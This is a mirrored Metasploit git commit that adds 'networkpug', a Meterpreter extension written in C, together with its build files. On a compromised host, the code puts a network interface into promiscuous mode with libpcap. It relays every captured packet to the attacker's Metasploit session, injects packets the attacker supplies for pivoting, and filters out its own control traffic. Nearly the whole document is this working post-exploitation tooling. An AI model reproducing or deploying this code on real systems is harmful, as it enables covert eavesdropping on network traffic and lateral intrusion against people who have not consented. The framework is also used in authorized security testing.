1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Initial import of networkpug, a pivoting interface using libpcap to monitor/inject packets on a interface on the remote machine.

git-svn-id: file:///home/svn/framework3/trunk@10423 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
pks 2010-09-21 09:35:46 +00:00
parent 99646300d3
commit c1153272b2
4 changed files with 553 additions and 1 deletions

View File

@ -2,7 +2,7 @@
# associated stuff (openssl, libpcap, etc) this is going to get very messy,
# very quickly.
all: external/source/meterpreter/source/bionic/compiled/libc.so external/source/meterpreter/source/bionic/compiled/libm.so external/source/meterpreter/source/bionic/compiled/libdl.so external/source/meterpreter/source/bionic/compiled/libcrypto.so external/source/meterpreter/source/bionic/compiled/libssl.so external/source/meterpreter/source/bionic/compiled/libsupport.so external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so external/source/meterpreter/source/bionic/compiled/libpcap.so data/meterpreter/msflinker_linux_x86.bin data/meterpreter/ext_server_stdapi.lso
all: external/source/meterpreter/source/bionic/compiled/libc.so external/source/meterpreter/source/bionic/compiled/libm.so external/source/meterpreter/source/bionic/compiled/libdl.so external/source/meterpreter/source/bionic/compiled/libcrypto.so external/source/meterpreter/source/bionic/compiled/libssl.so external/source/meterpreter/source/bionic/compiled/libsupport.so external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so external/source/meterpreter/source/bionic/compiled/libpcap.so data/meterpreter/msflinker_linux_x86.bin data/meterpreter/ext_server_stdapi.lso data/meterpreter/ext_server_networkpug.lso
external/source/meterpreter/source/bionic/compiled/libc.so: external/source/meterpreter/source/bionic/compiled
(cd external/source/meterpreter/source/bionic/libc && ARCH=x86 TOP=${PWD} jam && cd out/x86/ && sh make.sh && [ -f libbionic.so ] )
@ -69,3 +69,7 @@ external/source/meterpreter/source/bionic/compiled/libsupport.so:
data/meterpreter/ext_server_stdapi.lso:
(cd external/source/meterpreter/workspace/ext_server_stdapi && make)
cp external/source/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.so data/meterpreter/ext_server_stdapi.lso
data/meterpreter/ext_server_networkpug.lso:
(cd external/source/meterpreter/workspace/ext_server_networkpug && make)
cp external/source/meterpreter/workspace/ext_server_networkpug/ext_server_networkpug.so data/meterpreter/ext_server_networkpug.lso

View File

@ -0,0 +1,491 @@
#include "../../common/common.h"
#include <pcap/pcap.h>
#include "networkpug.h"
#include <sys/atomics.h>
typedef struct networkpug {
char *interface;
// is this pug active
volatile int active;
// pcap structure
// from a quick look at pcap-linux.c, pcap_inject_linux, we do not need
// any locking to serialize access.
pcap_t *pcap;
// thread for handling recieving packets / sending to server
THREAD *thread;
// XXX, do something with this. Stats on close?
volatile int pkts_seen, pkts_injected;
Channel *channel;
Remote *remote;
// PKS, potential race with socket writing / shutdowns
// maybe ref count / spinlock via atomic instructions. need to think more :-)
} NetworkPug;
#define MAX_PUGS (128)
#define MAX_MTU (1514)
NetworkPug pugs[MAX_PUGS];
LOCK *pug_lock;
char *packet_filter;
/*
* PKS -- FIXME, we should do a single channel_write after pcap_dispatch has returned.
*/
/*
* send packet to remote channel
*/
void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes)
{
NetworkPug *np = (NetworkPug *)(user);
unsigned int total_len = h->caplen + 2;
unsigned char packet_data[total_len]; // 13a85fedd6f9555c31a921c0e5664228afcea9c5 ;)
unsigned short int *size = (unsigned short *)(packet_data);
if(! np->active) {
// begone, foul demon.
dprintf("[%s] breaking loop", __FUNCTION__);
pcap_breakloop(np->pcap);
return;
}
dprintf("[%s/%s] we have %d bytes to send to metasploit :-)", __FUNCTION__, np->interface, h->caplen);
// PKS - this approach is quite hacky. A better implementation would be a record
// based stream, but that's a lot more work, plus would probably require significant
// changes on the ruby side.
*size = htons(h->caplen);
memcpy(&packet_data[2], bytes, h->caplen);
channel_write(np->channel, np->remote, NULL, 0, (PUCHAR) packet_data, total_len, NULL);
__atomic_inc(&(np->pkts_seen));
}
/*
* networkpug_thread handles recieving packets from libpcap, and sending to metasploit
*/
void networkpug_thread(THREAD *thread)
{
NetworkPug *np;
struct timeval tv;
fd_set rfds;
int fd;
int count;
np = (NetworkPug *)(thread->parameter1);
fd = pcap_get_selectable_fd(np->pcap);
while(np->active && event_poll(thread->sigterm, 0) == FALSE) {
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO(&rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, &tv) == 0) continue;
count = pcap_dispatch(np->pcap, 1000, packet_handler, (u_char *)np);
if(count)
dprintf("[%s] pcap_dispatch returned %d", __FUNCTION__, count);
}
dprintf("[%s/%s] instructed to shutdown, thread exiting", __FUNCTION__, np->interface);
}
/*
* Find an unused pug
*/
NetworkPug *allocate_networkpug(char *interface)
{
int idx;
for(idx = 0; idx < MAX_PUGS; idx++) {
if(! pugs[idx].active) {
pugs[idx].interface = strdup(interface);
return &pugs[idx];
}
}
return NULL;
}
/*
* free()'s a networkpug structure as allocated by allocate_networkpug()
* Needs to be active for cleanup to proceed.
*/
void free_networkpug(NetworkPug *np, int close_channel)
{
int cont;
if(! np) {
dprintf("[%s] There's a bug somewhere. trying to free a null networkpug", __FUNCTION__);
return;
}
dprintf("[%s] np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
__FUNCTION__, np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
np->pcap);
/*
* There are probably some possible race conditions present here.
* If another thread is in write/pcap inject, etc.
*
* Hopefully setting np->active = 0 early on and handling recieve thread
* first will prevent any possible issues. No guarantees, however
*/
cont = __atomic_swap(0, &np->active);
if(! cont) {
dprintf("[%s] Seems the pug at %p was already set free", __FUNCTION__);
return;
}
// np->active is now false.
if(np->thread) {
// Thread termination will take up to 1 second
thread_sigterm(np->thread);
thread_join(np->thread);
thread_destroy(np->thread);
}
if(np->channel) {
if(close_channel == TRUE) {
// Tell the remote side we've shut down for now.
channel_close(np->channel, np->remote, NULL, 0, NULL);
}
channel_destroy(np->channel, NULL); // channel_destroy does not look at packet it seems
}
if(np->interface) {
free(np->interface);
}
if(np->pcap) {
pcap_close(np->pcap);
}
memset(np, 0, sizeof(NetworkPug));
dprintf("after memset ;\\ [%s] np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
__FUNCTION__, np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
np->pcap);
}
NetworkPug *find_networkpug(char *interface)
{
int idx;
dprintf("[%s] Looking for %s", __FUNCTION__, interface);
for(idx = 0; idx < MAX_PUGS; idx++) {
if(pugs[idx].active)
if(! strcmp(pugs[idx].interface, interface))
return &pugs[idx];
}
return NULL;
}
DWORD networkpug_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
NetworkPug *np = (NetworkPug *)(context);
DWORD result = ERROR_SUCCESS;
dprintf("[%s] context is %p", __FUNCTION__, context);
if(! np->active) return result;
dprintf("[%s] if it's a pug, it's for %s", __FUNCTION__, np->interface);
pcap_inject(np->pcap, buffer, bufferSize);
*bytesWritten = bufferSize; // XXX, can't do anything if it fails really
__atomic_inc(&(np->pkts_injected));
return ERROR_SUCCESS;
}
DWORD networkpug_channel_close(Channel *channel, Packet *request, LPVOID context)
{
int result = ERROR_SUCCESS;
dprintf("[%s] Channel shutdown requested. context = %p", __FUNCTION__, context);
dprintf("[%s] pugs is at %p, and pugs[MAX_PUGS] is %p", __FUNCTION__, pugs, pugs + MAX_PUGS);
free_networkpug((NetworkPug *)(context), FALSE);
dprintf("[%s] closed channel successfully", __FUNCTION__);
return result;
}
DWORD request_networkpug_start(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
int result = ERROR_INVALID_PARAMETER;
char *interface;
char *extra_filter;
char errbuf[PCAP_ERRBUF_SIZE+4];
struct bpf_program bpf;
int bpf_fail = 0;
NetworkPug *np = NULL;
PoolChannelOps chops;
memset(errbuf, 0, sizeof(errbuf));
memset(&chops, 0, sizeof(PoolChannelOps));
lock_acquire(pug_lock);
do {
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
extra_filter = packet_get_tlv_value_string(packet, TLV_TYPE_NETWORKPUG_FILTER);
if(! interface) {
dprintf("[%s] No interface specified, bailing", __FUNCTION__);
break;
}
np = find_networkpug(interface);
if(np) {
dprintf("[%s] Duplicate pug found for %s!", __FUNCTION__, interface);
break;
}
np = allocate_networkpug(interface);
np->remote = remote;
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
// xxx, add in filter support
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote);
chops.native.context = np;
chops.native.write = networkpug_channel_write;
chops.native.close = networkpug_channel_close;
// interact, read don't need to be implemented.
np->channel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
if(np->pcap) {
char *final_filter = NULL;
if(extra_filter) {
asprintf(&final_filter, "%s and (%s)", packet_filter, extra_filter);
} else {
final_filter = strdup(packet_filter);
}
dprintf("[%s] final filter is '%s'", __FUNCTION__, final_filter);
bpf_fail = pcap_compile(np->pcap, &bpf, final_filter, 1, 0);
free(final_filter);
if(! bpf_fail)
bpf_fail = pcap_setfilter(np->pcap, &bpf);
}
if(! np->pcap || ! np->thread || ! np->channel || bpf_fail) {
dprintf("[%s] setting up network pug failed. pcap: %p, thread: %p, channel: %p, bpf_fail: %d",
__FUNCTION__, np->pcap, np->thread, np->channel, bpf_fail);
if(! np->pcap) {
dprintf("[%s] np->pcap is NULL, so errbuf is '%s'", __FUNCTION__, errbuf);
}
if(bpf_fail) {
dprintf("[%s] setting filter failed. pcap_geterr() == '%s'", __FUNCTION__, pcap_geterr(np->pcap));
}
break;
}
channel_set_type(np->channel, "networkpug");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(np->channel));
np->active = 1;
thread_run(np->thread);
result = ERROR_SUCCESS;
} while(0);
if(result != ERROR_SUCCESS) {
np->active = 1;
free_networkpug(np, FALSE);
}
lock_release(pug_lock);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_networkpug_stop(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
char *interface;
int result = ERROR_INVALID_PARAMETER;
NetworkPug *np;
lock_acquire(pug_lock);
do {
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
if(! interface) {
dprintf("[%s] No interface specified, bailing", __FUNCTION__);
break;
}
dprintf("[%s] Shutting down %s", __FUNCTION__, interface);
np = find_networkpug(interface); // if close is called, it will fail.
if(np == NULL) {
dprintf("[%s/%s] Unable to find interface", __FUNCTION__, interface);
break;
}
dprintf("[%s] calling free_networkpug", __FUNCTION__);
free_networkpug(np, TRUE);
result = ERROR_SUCCESS;
} while(0);
lock_release(pug_lock);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
Command customCommands[] =
{
{ "networkpug_start",
{ request_networkpug_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "networkpug_stop",
{ request_networkpug_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
}
};
/*
* Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
DWORD index;
int peername_len;
struct sockaddr peername;
struct sockaddr_in *peername4;
struct sockaddr_in6 *peername6;
int port;
char buf[256]; // future proof :-)
memset(buf, 0, sizeof(buf));
/*
* We require the ability to filter out our own traffic, as that would
* quickly lead to a huge packet storm on the network if we monitor
* the interface our traffic is on.
*/
// get the address/port of the connected control socket
peername4 = NULL;
peername6 = NULL;
peername_len = sizeof(peername);
getpeername(remote->fd, &peername, &peername_len);
switch(peername.sa_family) {
case PF_INET:
peername4 = (struct sockaddr_in *)&peername;
inet_ntop(AF_INET, &(peername4->sin_addr), buf, sizeof(buf)-1);
port = ntohs(peername4->sin_port);
break;
case PF_INET6:
peername6 = (struct sockaddr_in6 *)&peername;
inet_ntop(AF_INET6, &(peername6->sin6_addr), buf, sizeof(buf)-1);
port = ntohs(peername6->sin6_port);
break;
default:
dprintf("[%s] Sorry it didn't work out :/ It's not you, it's me", __FUNCTION__);
return ERROR_INVALID_PARAMETER;
}
asprintf(&packet_filter, "not (ip%s host %s and tcp port %d)",
peername4 ? "" : "6",
buf,
port
);
dprintf("[%s] so our filter is '%s'", __FUNCTION__, packet_filter);
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
pug_lock = lock_create();
return ERROR_SUCCESS;
}
/*
* Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
int index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
free(packet_filter);
lock_destroy(pug_lock);
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,18 @@
#ifndef NETWORKPUG_H
#define NETWORKPUG_H
#define TLV_TYPE_EXTENSION_NETWORKPUG 0
#define TLV_TYPE_NETWORKPUG_INTERFACE \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_NETWORKPUG, \
TLV_EXTENSIONS + 1)
#define TLV_TYPE_NETWORKPUG_FILTER \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_NETWORKPUG, \
TLV_EXTENSIONS + 2)
#endif

View File

@ -0,0 +1,39 @@
VPATH=../../source/extensions/networkpug
OPENSSL=${PWD}/../../source/openssl/include
COMMON=${PWD}/../../source/common
SERVER=../../source/server
PCAP=../../source/libpcap
CFLAGS=-fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall
CFLAGS+=-D_UNIX -D__linux__
CFLAGS+=-I${COMMON} -I${SERVER} -I${OPENSSL} -I${PCAP}
CFLAGS+= -I ../../source/bionic/libc/include -I ../../source/bionic/libc/kernel/common/linux/ -I ../../source/bionic/libc/kernel/common/ -I ../../source/bionic/libc/arch-x86/include/
CFLAGS+= -I ../../source/bionic/libc/kernel/arch-x86/
CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
#LDFLAGS= -fPIC -Bshareable -lc
ifeq ($(OSNAME), FreeBSD)
OS= bsd
else
OS=$(OSNAME)
CFLAGS+= -fno-stack-protector -D__linux__
endif
objects = networkpug.o
all: ext_server_networkpug.so
ext_server_networkpug.so: $(objects)
$(CC) -shared $(CFLAGS) -o $@ $(objects)
.PHONY: clean
clean:
rm -f *.o *.so *~; rm -f $(objects)